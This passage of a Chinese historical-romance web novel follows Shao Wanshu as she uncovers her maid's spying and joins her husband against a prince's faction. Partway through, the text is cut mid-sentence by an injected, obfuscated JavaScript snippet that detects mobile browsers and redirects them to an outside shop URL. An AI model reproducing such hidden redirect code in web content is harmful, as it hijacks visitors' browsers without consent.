“没有。我之前的确让她去打探过消息,但约摸一个月前,我从侍郎府回来的第二日就没再让她继续打探了。不管你信不信,事实就是如此,不然你把阿梅叫过来问问。” 裴行舟:“阿梅仍旧在打探消息,据寅虎说,一刻钟前,她去了二门处。” 邵婉淑此刻顾不上愤怒了,她大惊失色。 “这不可能。” 阿梅一向听她的话,她并未安排阿梅去查探裴行舟的行踪,她不可能自作主张的。 裴行舟知道邵婉淑是聪明人,有些话他点到为止,没再多言,只是坐在一旁静静喝茶。 看着裴行舟淡定的模样,邵婉淑心里一沉。裴行舟不是个喜欢开玩笑的性子,他也没必要在这件事上骗她。 可阿梅从小就陪着她,她们二人一同长大,前世阿梅从未背叛过她。虽然理智告诉她裴行舟说的可能是真的,可情感上她还是无法接受。 既然空想得不到答案,邵婉淑扬声道:“阿桔。” 阿桔连忙进来了。 邵婉淑:“你去把阿梅……不,你去问问阿兰,阿梅最近晚上可有出去过。现在就去,问完立马来报我。” 阿桔见夫人脸色不好看,也知此事严重,立即就去找阿兰打探消息了。一刻钟后,阿桔回来了。她看了一眼正坐在榻上喝茶的裴行舟,有些犹豫。 邵婉淑:“说。” 阿桔:“阿梅每晚都出去,因为夫人之前安排阿梅时阿兰并不在场,所以她只知阿梅得到了夫人的安排,并不知夫人早就不让她做此事了。她也曾问过阿梅,阿梅说是去见她父亲了。” 邵婉淑心里最后一丝希望也破灭了。 “我知道了,你退下吧。” 阿桔:“是。” 直到此刻邵婉淑仍旧难以置信,对她忠心耿耿的阿梅竟然会背叛她。她坐在榻上,半晌回不过来神。 裴行舟:“夫人让她打探什么消息?” 邵婉淑抬眸看向裴行舟,顿了顿,还是跟他说了实话。 “我让她打探侯爷有没有回府,还回不回内宅。” 听到这番话,裴行舟心头如同一根羽毛轻轻拂过。原来,她从未想过打探公务,只是作为一个妻子想知道丈夫的行踪,是他误会她了。他端起茶喝了一口,压下心头的躁动,又道:“阿梅打探的不止这些。比如,我晚上见了何人,说了什么话,做了什么事,甚至想要靠近书房。” 长痛不如短痛,有些事还是尽早解决为好,不忠心的人还是要尽早处理。 邵婉淑脸色骤变,站起身来。若只是打探裴行舟的行踪,还能用妻子关心丈夫来解释。但若打探得这般细致,那就是奸细了。 “侯爷,我从未这般吩咐过她。” 父亲和姑母的确安排她打探裴行舟的消息,但她并未听从。她觉得这事儿是小人行径,不够光明磊落,她不屑做这样的事。 裴行舟见她着急,放下茶杯,抬手握住了她的手。 “我知道,坐下说。” 从前二人接触虽不多,但他能看得出来她的性子。她性子有些古板,但为人正直,不会背后使阴招。 邵婉淑又重新坐回了榻上。 她万万没想到阿梅竟然阳奉阴违,背着她打探了那么多消息。她打探完并未告知她,那她是为何人打探的消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17010509|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息不言自明。 “她是……父亲的人?” 裴行舟点头。 禄管事听从父亲的安排,邵婉淑并不意外,因为禄管事一直在外院,二人接触不多。可阿梅一直在内宅中,在她身边多年。这么多年来,阿梅一直都很听她的话,她没想到如今她竟然罔顾她的吩咐,转而去听父亲的安排。 这对她打击极大。 但她毕竟和自己一同长大,相识多年。她忍住愤怒,问裴行舟:“侯爷打算如何处置她?” 阿梅探听侯府的机密,邵婉淑知道,以裴行舟的脾气定不会饶了她。 裴行舟:“她既然是夫人的人,那就由夫人来处置。” 邵婉淑松了一口气:“多谢。” 裴行舟看了邵婉淑一眼,没再提此事。 “时辰不早了,安置吧。” 一直到躺到床上,邵婉淑虽然心情仍旧低落,但此刻也缓和了些。 “多谢侯爷告知我此事。” 裴行舟:“你我是夫妻,不必如此客气。” 邵婉淑心头一直想着阿梅的事情,过了许久才睡着。 这一晚,她又梦到了前世。 裴行舟去世后,莲娘大着肚子登了侯府的门。这件事如同一颗石子投入了平静的湖面,泛起了波澜。京城中人人都在议论此事。 邵婉淑震惊不已,拒绝相信此事。 姜老夫人将莲娘安排在了侯府中一处偏僻的院落中。 身边所有人都在安抚邵婉淑,甚至告诉她,这对她而言是件好事。只要她承认莲娘肚子里的孩子,以后将孩子认在自己名下,将来整个侯府都是她的。若她不认的话,就要把侯夫人的位置拱手让出来。 她思索了数日,心里还是觉得此事古怪。 裴行舟一向不近女色,在京城时都没看中别的女子,为何偏偏在打仗时身边多了一个莲娘。而这个莲娘早不登门,晚不登门,恰好在裴行舟死后登门。因为心里存着怀疑,她便吩咐了阿梅,让她告知禄叔,去查一查这个莲娘的来路。 过了两三日,阿梅告诉她,莲娘是从西北来的,她也的确去过边关,听去过边关的人说曾在裴行舟身边见过她。 她最后一丝希望破灭,整个人十分绝望。 那种窒息的感觉袭来,邵婉淑从梦中惊醒,猛地从床上坐了起来。见自己还活着,后怕地抚了抚胸口,又躺下了。眼前一片漆黑,她心里的疑惑却被放大百倍。 若禄叔和阿梅早就背叛了她,那么他们所言之事是否是真的? 莲娘真的是裴行舟的人吗?若她不是,她又是谁的人,肚子里怀了谁的孩子? “又做噩梦了?”一道低沉的声音突然在身侧响起。 邵婉淑微微惊讶后又平静下来,裴行舟是武将,一向警醒,被她吵醒也是自然。 “抱歉,吵到侯爷了。” 裴行舟没接这话,反倒是有些感兴趣地问道:“梦到什么了?” 邵婉淑沉默片刻,道:“梦到侯爷身边有了别的女人。” 裴行舟:…… 不如不问。 50-60 第51章 第 51 章 冬天到了。 另一边, 裴行凛和杜氏对于裴璃能考这么高的名次很是震惊。 裴行凛伤已经养的差不多了,此刻他正坐在椅子上,百思不得其解。 “裴璃考了两次都没中, 我想过他这次能中, 可没想到他能考这么好的名次。” 杜氏:“他私下可有去找别的先生指教?” 裴行凛摇头:“没听说他换先生,前院的人说他日日都在外院读书,很少出门的。” 杜氏:“这就奇怪了,难道是今年的考题他恰好都会?” 裴行凛虽然没参加过科考,但也知道科考有多难, 他不认为裴璃能成功靠的是运气, 一定还有其他的缘由。 “单靠运气不可能考到前五名。” 杜氏:“我安排在前院的人见到他拿着文章去找过侯爷,会不会是侯爷指点的他?” 裴行凛嗤笑一声:“裴行舟就是个武夫,他哪里懂什么经史子集之事,邵婉淑指点他都比裴行舟指点他靠谱。” 经过裴行凛这么一说,杜氏突然想到了一件事。 “我突然想起一事, 在秋闱之前, 邵婉淑曾多次去过邵家的书院。你说会不会和这件事有关呢?” 裴行凛仔细思索了一下。裴璃拿着文章去找裴行舟,裴行舟不懂科举,他定会找旁人问询。如今他和邵婉淑的关系极好, 而邵婉淑又提过要帮裴璃引荐邵家的先生。所以,很可能是裴行舟将裴璃的文章交给了邵婉淑,邵婉淑又拿着文章去找了邵家的先生。 “也不是没这种可能,你仔细说来我听听。” 杜氏细细说起了这件事, 等杜氏说完,裴行凛道:“明日我让人去查一查。母亲那么厌恶三弟, 不想让他出头, 没想到裴行舟和邵婉淑竟然敢跟母亲对着干。若真是如此, 母亲可就不会像现在一样信任邵婉淑了。” 闻言,杜氏脸上露出来一丝笑容。 过了两日,傍晚,邵婉淑被姜老夫人叫了过去。 “我听说行舟有意为老三庆贺?” 邵婉淑斟酌了一下,答道:“侯爷的意思是不大办,家里人一起吃顿饭。我想着明日就是十五,也是全家在一起用饭的日子,不如把宴席办得丰盛一些。若母亲想请相近的人也可以请一下。” 姜老夫人:“全家一起吃饭就行了,请人就不必了。不过是中了举人,又不是中了状元,说出去没得让外人笑话。” 邵婉淑明白了姜老夫人对此事的态度,道:“是,儿媳知道了。” 姜老夫人顿了顿,又道:“听说老三之所以能考这么好多亏了你。” 邵婉淑并未将此事张扬出去,姜老夫人平日里也不怎么管府中的事,她得这件事多半是杜氏跟姜老夫人说的。 “我也没帮上什么忙,主要是三弟自己考了多年,有了经验。” 姜老夫人索性点明了:“这位邵家的先生可真是厉害,前五名里占了两个。你这样帮着裴家固然好,但你父亲那边是否知晓此事?” 邵婉淑:“于先生的确学识渊博,且他有教无类,并不会因为自己在邵家书院就放弃教导别的学生。” 姜老夫人:“裴璃毕竟是庶出,行凛和行舟才是亲兄弟,孰亲疏远,你心里应该清楚明了。” 邵婉淑:“儿媳明白。” 姜老夫人点到为止,没再继续说下去。 “你先回去吧。” 邵婉淑:“儿媳告退。” 回到韶华院,阿桔忍不住道:“老夫人怎么能这样说您呢,这件事明明是侯爷找上您的,也不是您非得去做的。” 邵婉淑抬了抬手制止阿桔说下去。 “虽说是侯爷找的我,但也是我想做这件事才去做的。” 若裴行凛是杀害她的凶手,拉拢裴璃对她有利。 “三弟是庶出,母亲是嫡母,站在她的角度不开心也是可以理解的。这件事没有人有错,侯爷想要帮助弟弟没有错,母亲讨厌庶子也没有错。” 这些道理阿桔都明白,她就是看不得旁人欺负他们家夫人。 “那您还要为三爷引荐于先生吗?” 邵婉淑:“自然是要的。于先生很欣赏三弟,他为三弟指点过文章,于他科考上有帮助,三弟也该当面谢谢他,至于要不要收这个学生,就不是咱们能做主的了。” 阿桔:“奴婢明白了。” 院子里,裴行舟转身离开了。 姜老夫人看到儿子过来很是开心,笑着道:“你今日这么早就回来了。” 裴行舟行过礼,看了一眼屋内的人。 姜老夫人让人都退下了。 裴行舟沉着脸道:“母亲,是我拿着三弟的文章求婉淑去找的邵家的先生,您若是不满就朝着我发火,莫要为难婉淑。” 姜老夫人皱眉:“她刚刚都跟你说了?” 裴行舟:“她什么都没说,儿子是侯爷,知道这些事也不奇怪吧。” 姜老夫人沉了脸。 裴行舟:“这件事不用查也知道,应该是二弟和二弟妹告诉母亲的吧?” 姜老夫人没说话,默认了。 裴行舟:“最近他们二人办了不少错事,想必母亲心里也是清清楚楚的,他们的话也未必可信。” 姜老夫人沉默片刻,道:“他们年纪小,也是一时糊涂。” 裴行舟反驳:“也不算小了,二弟都已经授了官职,孩子也几岁了。” 姜老夫人没说话。 见姜老夫人如此态度,裴行舟继续道:“我知道母亲不喜欢三弟。当初母亲阻止三弟习武,父亲答应了,后来让三弟读书参加科考。如今三弟已经成年,也有了妻女,他也该有自己的事业。儿子当年答应了父亲,要照顾好弟弟妹妹们,还请母亲以后不要再阻止了。” 姜老夫人想到被打得在床上躺了半个月的儿子,道:“你知道照顾老三,怎么就不知道照顾行凛,你对行凛是不是手段太狠了些?” 裴行舟:“我已然对他手下留情了,母亲也不要再护着他了,他若再一错再错下去,怕是将来没有什么好下场。” 裴行舟的话说的很重,姜老夫人脸色顿时一白。 “你这话是何意?” 裴行舟没回答。 姜老夫人:“她犯什么事了?” 裴行舟:“希望是儿子多想了,母亲记住我的话便是。” 看着长子离去的背影,姜老夫人沉默良久。 邵婉淑一开始并不知道裴行舟在院子里听到了她和阿桔的谈话,但在裴行舟离开后,阿兰很快就告诉了她这个消息。 阿桔本有些忐忑是不是侯爷听了那番话生气回前院了,但很快她就得到了消息,侯爷离开韶华院去了祥和院。 邵婉淑猜到裴行舟的意思了,他大概是听到姜老夫人把她叫过去问话了,所以去找了姜老夫人。她知道姜老夫人和裴行舟母子二人关系紧张,想要跟过去阻止,但想了想,还是作罢了。 她跟过去又能怎样呢,他们母子二人的事还是得他们自己解决。 约摸过了两刻钟左右,裴行舟再次回到了韶华院。 正好厨房那边开始送晚饭了,二人便一起用了晚饭。 饭后,邵婉淑提及了刚刚的事情。 “其实母亲并未说我什么,只是简单问了两句三弟科考的事。” 裴行舟:“嗯,我知道。” 邵婉淑:“母亲也不容易。” 裴行舟没说话。 邵婉淑:“当年侯爷不在母亲身边,想必母亲十分疼爱二弟,对他难免骄纵了些,对三弟这个庶子也厌恶了些。如果我和母亲换换位置,我未必比她做得好。” 裴行舟看向邵婉淑:“不会有这样的事发生。” 闻言,邵婉淑想到了莲娘,她只是笑了笑没说话。 裴行舟看了她一眼,也没多做解释。与其解释,不如去做。 杜氏原本想看姜老夫人收拾邵婉淑的,结果第二日一早邵婉淑去请安时,姜老夫人对她的态度却和从前一样。这让她失望至极,忍不住又主动提及了此事。 “三弟妹,你可要多谢谢大嫂才是。” 柳氏一脸不解:“谢什么?” 杜氏:“三弟这次能考中可是多亏了大嫂啊,是大嫂拿着三弟的文章去找了邵家的先生,经过先生的指点三弟才能中举。” 柳氏是真的没想到这一点,她震惊地看向邵婉淑。 邵婉淑竟然会帮着裴璃,为什么? 邵婉淑:“二弟妹言重了,并非全然是因为邵家的先生,宋先生教三弟的时间更久,功不可没。” 杜氏:“大嫂真是谦虚,那位宋先生也是个没本事的,不然为何三弟连考两年都没中,还是要谢谢你,是你帮了三弟。” 杜氏一边说眼睛一边瞄向了姜老夫人。 姜老夫人沉了脸,道:“好了,我乏了,都退下吧。” 杜氏有些失望,但还是站起身离开了。连这种事母亲都不生邵婉淑的气,可见心里对她十分器重。 邵婉淑朝着韶华院走去,裴温静跟在了她的身后。 见状,邵婉淑停下了脚步:“妹妹有事?” 裴温静握紧了手中的帕子,有些紧张地说道:“采买上有些问题我刚刚没听懂,想再问问大嫂。” 邵婉淑:“好,那你跟我回韶华院吧。” 到了韶华院之后,裴温静问了几个简单的问题后就没再说话。 邵婉淑瞧出来她不太对劲儿,直接问道:“妹妹有话不妨直说。” 裴温静之所以跟过来也是想跟邵婉淑说件事的,见她问起,便不再犹豫,说道:“二妹妹心系邹相家的三公子,当初一门心思想嫁给他。母亲并不同意这门婚事。二妹妹不知从何处听说大嫂和邹家三公子曾打算议亲。” 闻言,邵婉淑挑了挑眉,看来她没猜错,裴明英果然和邹三郎有些关系。不过,裴温静今日竟然会主动告知她府中的事情,也真是怪异得很。 前世她主动帮裴温静,裴温静丝毫不领情,今生却主动靠了过来。 “知道了,多谢妹妹提醒。” 裴温静见邵婉淑面色平静,微微有些失望,她站起身离开了韶华院。 阿梨:“大姑娘今日为何要跟夫人说这些?” 阿桔每日都盯着府里的事情,知道的也多一些。 “老夫人已经在为二姑娘说亲了,但她似乎忘了大姑娘,从未带着她。” 阿梨:“你的意思是大姑娘为了亲事过来讨好咱们夫人了?” 阿桔的确这样想的,她看向了邵婉淑。 邵婉淑想到了前世,前世她对裴温静好,裴温静并未领情,但后来她主动去讨好了杜氏。由此来看,裴温静一直在观察她和杜氏,谁占上风,她就去依附于谁。 “我也是这样想的。” 阿梨:“夫人要帮她吗?” 邵婉淑一时没回答。 裴温静不得老夫人喜欢,整个府里的人都忽视她,她的确很可怜。然而,她做事功利心太强,又十分不讨喜。 她跟裴璃还不一样,当初她帮了裴温静,但裴温静在关键时刻并没有站在她这边,也从未感谢。今生她帮了裴璃,至少裴璃还会感谢她。 “她毕竟是侯爷的妹妹,看侯爷的意思吧。” 秋闱带来的喜悦或痛苦很快就消散了,不管是否考中,学子们又继续读书了。裴璃在见了于先生后,拜在了于先生门下,继续为来年的春闱做准备,没考中的学子们也开始准备下一次秋闱。 邵侍郎沉浸在儿子中了解元的喜悦中,听着大家的吹捧,忽略了许多事。等他得知裴璃是因为得到了于先生的指点才能考那么好的名次后,瞬间就怒了。 他这个女儿不仅不帮着邵家,竟然还吃里扒外,帮起了裴家。 回到府中后,他沉着脸去了内宅,呵斥陆氏:“你养的好女儿,吃里扒外!” 陆氏不明所以,女儿这是又做什么事惹丈夫不高兴了。 “婉淑干什么了?” 邵侍郎:“你当那裴家的三郎如何中了前五名,是因为你那个好女儿拿着他的文章去找了于先生。” 陆氏:“她……她……她怎么能做这样的事情。” 邵侍郎:“这不算完,她还将于先生引荐给了裴三郎,妄图让他中进士。这个混账东西,她是一点也不顾及邵家的利益,全然想着那裴家!” 说到最后,邵侍郎怒不可遏,使劲儿拍了一下桌子。 陆氏吓得哆嗦了一下。 邵侍郎:“明日你把她叫回府中。” 陆氏:“好,老爷别生气了,等明日婉淑来了好好说她一顿。” 第二日一早,邵婉淑刚起床就听说母亲身边的香竹过来了。 阿梨:“夫人要见吗?” 邵婉淑:“不见。” 阿梨:“是,奴婢这就去回了她。” 过了没多久,阿梨回来了。 “香竹不肯走,非得见您。” 邵婉淑:“她既不愿走,就让她再外院待着吧,也不必给她上茶水。” 阿梨:“要问问她为何见您吗?” 邵婉淑:“不必。” 她不想知道香竹为何来见她,因为她知道肯定不是什么好事。 香竹一直待到了午时,见大姑娘没来,侯府的人也都不搭理她,无奈之下只好回去了。 下午,邵侍郎早早回了府中,得知女儿没回来,差点气晕过去。 然而,他很快就发现他似乎拿这个女儿没有任何办法了。女儿嫁入了侯府,高门大户,他不敢上门去闹事。而他又十分好面子,也不敢跟任何人说女儿不听话,甚至怕别人知晓了此事,只能自己捂着,关起门来发火。 邵侍郎见女儿这边行不通,又去找了于先生。 于先生虽然因为还邵家恩情才来的邵家,但不代表他什么事都听邵家的,所以也委婉地拒绝了。他依旧收了裴璃这个学生。 邵侍郎对此事是一点办法也没有。 邵婉淑得知于先生拒绝了父亲,心里十分畅快。此时也明白了前几日母亲叫她回家的意图。 自从裴行舟打了裴行凛之后,裴行凛老实了许多,而杜氏在告了邵婉淑的状无果之后也消停下来了。她似乎在忙着别的事情,时常出门去应酬。 虽说杜氏去见的各家夫人有很多,但邵婉淑发现这里面也有户部的女眷。 不管是杜家还是裴行凛都跟户部的联系越来越多了。 她越发怀疑裴行凛和杜家都是二皇子的人。 前世二皇子看起来似乎没什么夺嫡之心。大皇子和三皇子的不对付是摆在明面上的,二皇子倒是低调得很。前世她站在了三皇子这边,二皇子从不与三皇子作对,甚至还会在关键时刻帮三皇子对付大皇子。因此他们的对手也只有大皇子。 如今她跳出了夺嫡的圈子,赫然发现三皇子除了皇上的宠爱根本就无法和大皇子争,真正有实力的是二皇子。 二皇子似乎一直在扮猪吃老虎,把三皇子捧到前面,自己藏了起来。等到大皇子和三皇子斗得两败俱伤,再站出来把大皇子打败? 二皇子真的没有夺嫡之心吗? 她记得裴行舟打仗时兵部因为粮草的事情和户部闹得不可开交,秉着敌人的敌人是朋友的原则,父亲选择支持户部,一起对抗兵部。 这样看来,真正蠢的人是父亲和姑母。他们妄图仗着皇上对三皇子的宠爱,将他推向储位。然而却在不知不觉中成了二皇子对付大皇子的一把刀。三皇子在明面上,二皇子隐藏在暗处发展势力。 二皇子想夺嫡,裴行凛想夺爵,他选择依附于二皇子。如果真是如此的话,前世的一切都解释得通了。 裴行舟当时在前线打仗,粮草不足,他当时的死会不会和二皇子有关呢? 意识到这一点后,邵婉淑突然觉得有几分冷意,她抬眸看向了院子里。 外面不知何时飘了雪,冬天到了。 冬天到了,春天也就不远了,是时候和裴行舟好好聊一聊了。 第52章 第 52 章 夫妇联手。 等晚上裴行舟回来, 邵婉淑的心思没放在书上,时不时看向他。 裴行舟察觉到这一点,看向邵婉淑:“夫人有话不妨直说。” 邵婉淑本想着先聊一聊别的事情, 再切入正题, 话到了嘴边,还是决定直接说出来。 “二皇子是个怎样的人?” 裴行舟没想到邵婉淑会问出来这样的话,神色微顿,他没有直接回答,而是反问:“夫人怎么想起来问二殿下了?” 邵婉淑:“素日里没怎么听人提起过这位皇子, 只觉得他为人低调, 可若真的低调又是如何执掌户部的,所以就想知道他究竟是个怎样的人。” 裴行舟:“大皇子的生母是先皇后,三皇子的生母是贤贵妃,二皇子与他们二人不同,他的生母是宫女。二皇子小时候在宫里不太得宠。但他十分聪慧, 几乎过目不忘, 课业成绩十分优异。渐渐地,皇上也开始注意到他了,对他越发宠信, 甚至把户部交给了他。” 邵婉淑:“看来二皇子是个十分有能力的人。” 裴行舟:“嗯。” 邵婉淑突然问道:“侯爷和户部的官员关系如何?” 裴行舟眸色微暗,道:“关系一般,没什么接触。” 邵婉淑:“可我瞧着二弟和杜家与户部的关系不错。” 裴行舟看向邵婉淑:“夫人如何知晓的?还是因为户部尚书夫人和黄夫人关系好吗?” 邵婉淑:“不止这一件事,这些日子我去了不少宴席, 我发现二弟妹和户部官员的女眷关系也不错。我看过咱们府中往年的年礼单子,咱们和兵部的官员以及一些武将关系更好, 倒是和户部、礼部没什么牵扯, 那他们为何跟户部走得这么近。” 裴行舟:“或许他们的私交极好。” 邵婉淑看出来裴行舟不想跟她说实话, 她又问了一个更加尖锐的问题:“如今京城人人都说皇上的几位皇子中最有可能成为储君的是大皇子和三皇子,二皇子既然执掌户部,他是否也有可能成为储君呢?” 闻言,裴行舟的脸色严肃了几分,眼里多了几分探究的神色。 邵婉淑发现了,裴行舟脸上一丝意外的神色都没有,只有对自己说出这些话的惊讶。也就说明他早就知道二皇子想夺嫡,他和大皇子真正的对手也是二皇子。 既然他早就知道了,前世又为何轻易死在了战场上。 邵婉淑忍住内心的害怕,直面裴行舟。 “事实上,三皇子并无夺嫡之心,相反,他对大皇子十分崇敬。如此看来,真正有夺嫡之心的人应该是二皇子吧?” 裴行舟沉默片刻,道:“夫人可知这番话若是被旁人听到了会有什么后果?” 裴行舟的语气平静,并没有呵斥邵婉淑。 若这番话是旁人说的,他定然要让对方噤声,不再提及这个话题。裴行凛上次同他说起此事时他便训斥了他。 邵婉淑:“知道啊,皇上不喜大家议论皇子争储一事,若被人传入了皇上耳中,我、父亲甚至姑母或许都会被连累。” 裴行舟:“既知道还要说?” 邵婉淑:“我只说给你听。” 闻言,裴行舟的心头突然一跳。 “你没有同邵侍郎和贤贵妃说过这番话?” 邵婉淑:“没有。他们视大皇子为最大的威胁,觉得二皇子不会跟三皇子争储,听不进去的。不过,他们的某些想法也并没有错,真正有实力的还是大皇子。” 说罢,邵婉淑将手边的一个纸条推了过去。 裴行舟垂眸看向了纸条。纸条被折了起来,但能隐约看到里面应该有字。 裴行舟从未想过有一日邵婉淑会在深夜同他聊争储的问题。一开始他便知道邵婉淑是礼部侍郎的女儿,也知道贤贵妃把她嫁给自己的意图。 他想着,既然是皇上赐婚,面子上总要过得去。他让人盯着她,只要她不做太过分的事,日子总能过下去的。后来发现她并不似他想象中那般,她虽然心里偏向娘家和三皇子,但却有自己的原则和底线,并不会做对他不利的事情。那时他想着,虽然两人不是同一阵营,也不是一条心,相敬如宾就好。再后来她虽没有站在他这边,但却和侍郎产生了矛盾,渐渐地,他想要的更多。 如今她竟想要帮他了? 见裴行舟不答,邵婉淑道:“侯爷不妨去查一查这两个人,或许有惊喜。” 裴行舟打开了纸条,上面写着“韩忠直”和“齐嬷嬷”两个名字。 韩忠直是兵部侍郎,若他没记错的话,齐嬷嬷是贤贵妃身边的嬷嬷。 裴行舟眼底有几分不解。 邵婉淑并没有为裴行舟解释,实则她也不知该如何解释。 之所以怀疑韩忠直,是因为前世在兵部和户部争斗时,这个人可是在关键时刻站在了户部那边,导致兵部没能成功要来粮草,前线吃了败仗。所以这个人一定有问题。而且,他最近可没少喝裴行凛在一处吃酒。若是查出来韩忠直有问题,说不定裴行舟也能发现裴行凛的问题。 至于齐嬷嬷,她没少在姑母耳边说二皇子的好话,也没少挑拨大皇子和三皇子的关系。从前她没发现二皇子的意图,所以只是单纯不喜欢齐嬷嬷,并没有觉得她有什么大问题。如今想来,这个人肯定是有问题的。 见邵婉淑不解释,裴行舟也不再问,收起了纸条,道:“好。” 齐嬷嬷是贤贵妃的人,邵婉淑竟然把这么重要的人供了出来。至于兵部侍郎,裴行舟从前并未怀疑过他,既然邵婉淑把他的名字写给了他,想必他很可能是三皇子的人,是他们这边的奸细。 邵婉淑这是把三皇子的底牌透露给了他,她是真的要跟娘家划清界限了。 这样极好。 把该说的话和裴行舟说完,把怀疑的人告诉了裴行舟,邵婉淑反倒是轻松起来。 裴行舟今晚的反应让她确定自己的猜测是对的。同时,她也欣喜的意识到一个问题,那便是她和裴行舟的敌人是一致的。裴行舟是大皇子的人,他要对付二皇子。而她的敌人是裴行凛,裴行凛身后的人是二皇子。只要把二皇子拉下马,裴行凛自然也会跟着完蛋。 如此一来事情反倒是简单多了。 她把自己知道的信息告诉裴行舟,让裴行舟去查这些人。 不过,裴行舟这是什么眼神,她怎么他的眼神怪怪的。 裴行舟:“时辰不早了,安置吧。” 邵婉淑:“嗯。” 第二日一早,阿福带来了一个好消息,岭南菜馆开始盈利了,这着实令邵婉淑意外。 “如何盈利的?” 阿福:“一开始人也不多,只有一些附近的人过来吃饭,偶尔也有些岭南人过来吃饭。后来我发现一个岭南籍的官员过来了,从那以后改变了方法。京城各个地方的人都有,岭南籍的官员和商人也有不少,还有一些单纯喜欢岭南菜的非岭南人,只要把这些人拉了过来,把饭馆的名声打出去,就不愁没有客人了。” 邵婉淑:“我果然没看错你,好好干,等年后把我名下的另一间铺子也交由你搭理。” 阿福激动地道:“多谢夫人。” 裴行舟很快就将齐嬷嬷的事情查清楚了。他原以为邵婉淑交给他的人都是三皇子这边的亲信,私下对付大皇子。然而,越查越发现了不对劲之处。齐嬷嬷表面上是贤贵妃身边的人,私下却和二皇子身边的一个宫女接触颇深。再往前查,这名宫女曾救过齐嬷嬷。齐嬷嬷看似在为贤贵妃做事,实则是二皇子的人,没少在贤贵妃面前挑拨大皇子和三皇子的关系。 韩忠直就有些不好查了,查他时费了一番功夫。表面上看,这个人兢兢业业,只跟大皇子这边的人走得近,然而,他跟三皇子这边的人并没有任何接触,反倒是和二皇子这边的人走得近一些。 青云:“韩侍郎的母亲在京郊有个别苑,隔壁是户部尚书母亲名下的宅子,二人曾在同一时间去过京郊别苑。去年邻国来访,宫宴上,韩侍郎曾和二皇子一同离席。” 一个巧合是巧合,多个巧合就是有预谋的了。 裴行舟:“继续让人盯着他。” 青云:“是。” 裴行舟回了内宅中。 一开始裴行舟以为邵婉淑提出来的两个人都是三皇子的人,查完之后发现二人其实是二皇子的人。韩忠直表面上是大皇子的人,所以邵婉淑告诉他韩忠直有问题是想要提醒他注意身边的奸细。查齐嬷嬷与他们无关,所以应该是邵婉淑想让他帮忙查的。 “齐嬷嬷是二皇子的人。” 心中的猜测得到证实,邵婉淑点了点头。 裴行舟:“夫人如何知道韩忠直有问题?” 这是困扰裴行舟的一个问题。韩忠直一直在为大皇子做事,从未帮过二皇子,邵婉淑是如何发现的? 邵婉淑半开玩笑地说道:“做梦梦到的。” 做梦?这几个月她似乎经常做一些莫名其妙的梦。梦到他身边有了别的女人,梦到他死了,梦到邵侍郎亲手勒死她。这些梦听起来十分离谱。今日她又同他说韩忠直的事情也是做梦梦到的,绝对不是梦。 裴行舟盯着邵婉淑看了片刻,邵婉淑并不是一个喜欢开玩笑的人。她这么答定是因为真正的原因不好回答。 不过,她既不想说,他也不问了。 “嗯,夫人若是做了别的梦也可以告诉我。” 邵婉淑松了一口气:“好。” 裴行舟轻轻瞥了她一眼,昏黄的灯光下,她的脸莹白如玉,唇红齿白,让人移不开眼。 一种陌生的情绪在心头升起。 看着裴行舟的目光,邵婉淑心头一跳,这种眼神她只在深夜见过。此刻二人尚未休息,他怎么突然用这样的眼神看她。 邵婉淑被裴行舟看的有些紧张,垂下了头。 乌发,白皙又纤细的脖颈,微红的侧脸。 他好像吓到她了。裴行舟手里的茶杯紧了紧,将冷茶一饮而尽,心头的燥火却丝毫没有被压下去。 这几日他一直在忙着公务,没有回内宅。从前也不是没有过类似的情形,有时甚至一个月不回内宅。可这才几日,他便有些克制不住了。在面对她时,他的定力越来越差了。 “安置吧。” 听出来裴行舟的意思,邵婉淑抿了抿唇,她好像也有些期待了。除了想要生孩子,好像也没那么讨厌他了。意识到这一点后,邵婉淑的脸更红了。 裴行舟看得心头一热,抬手将人扯入了自己怀中。 邵婉淑惊呼一声,抓住了裴行舟胸前的衣裳。 看着面前的朱唇,裴行舟忍不住俯身亲了一下。本想轻啄一下,却再也难以离开,想要更多。 邵婉淑抬手圈住了裴行舟的脖子。 裴行舟抱起邵婉淑,朝着床边走去。 邵婉淑发现夜里裴行舟越发温柔了,也会顾及她的感受。唯一的缺点是体力太好了,时常让她招架不住。 第53章 第 53 章 邵婉淑劝说贤贵妃。 第二日一早, 邵婉淑给宫里的贤贵妃递了帖子,很快她便收到了回帖,贤贵妃让她现在就可以入宫。 收到帖子后, 阿梨忐忑不安的心终于落到了实处。 见她如此, 邵婉淑问:“你在怕什么?” 阿梨:“夫人和老爷吵了一架,也不回侍郎府了,奴婢真的怕贵妃娘娘会因为此事不搭理姑娘了。” 邵婉淑:“姑母和父亲不同,她不会的。” 半个时辰后,邵婉淑到了宫中, 她现在偏殿中等了一会儿。 已经进入了腊月, 各国使臣又要来访。贤贵妃既要管着后宫,还要忙着接待使臣女眷,她非常忙。但即便如此忙,在接到邵婉淑的帖子时还是立马就宣她入宫了。 听到宫女来报邵婉淑过来了,贤贵妃说了一句:“本宫这边忙得脚不沾地, 她来添什么乱。” 齐嬷嬷回道:“可不是么, 从前瞧着大姑娘是个最懂事的,如今越发没规矩了。明知娘娘忙着,还得在这个时候来见您。莫不是觉得自己嫁给了定南侯, 身份尊贵,不把娘娘放在眼里了?” 贤贵妃本来只是想抱怨几句,并非真的不想见邵婉淑,若她真的不想见, 也没必要让人给她回帖。听齐嬷嬷这么说,她道:“哪有你说的这么严重, 她几个月没见本宫了, 定是想我了。” 齐嬷嬷:“前些日子老爷可是说过大姑娘跟他吵了一架, 不听他的话了,她也许久没回侍郎府。” 听到此事,贤贵妃蹙了蹙眉,一会儿她得好好问问到底是怎么回事。 “事情未必是你想的那样,行了,赶紧忙吧。” 等把手边的事情交待得差不多了,贤贵妃让人把邵婉淑叫了过来。因为要说家事,她把殿里的人都遣了出去。 殿中只剩下邵婉淑、贤贵妃以及齐嬷嬷三个人。 贤贵妃:“你好好跟我说说你跟你父亲到底怎么回事?” 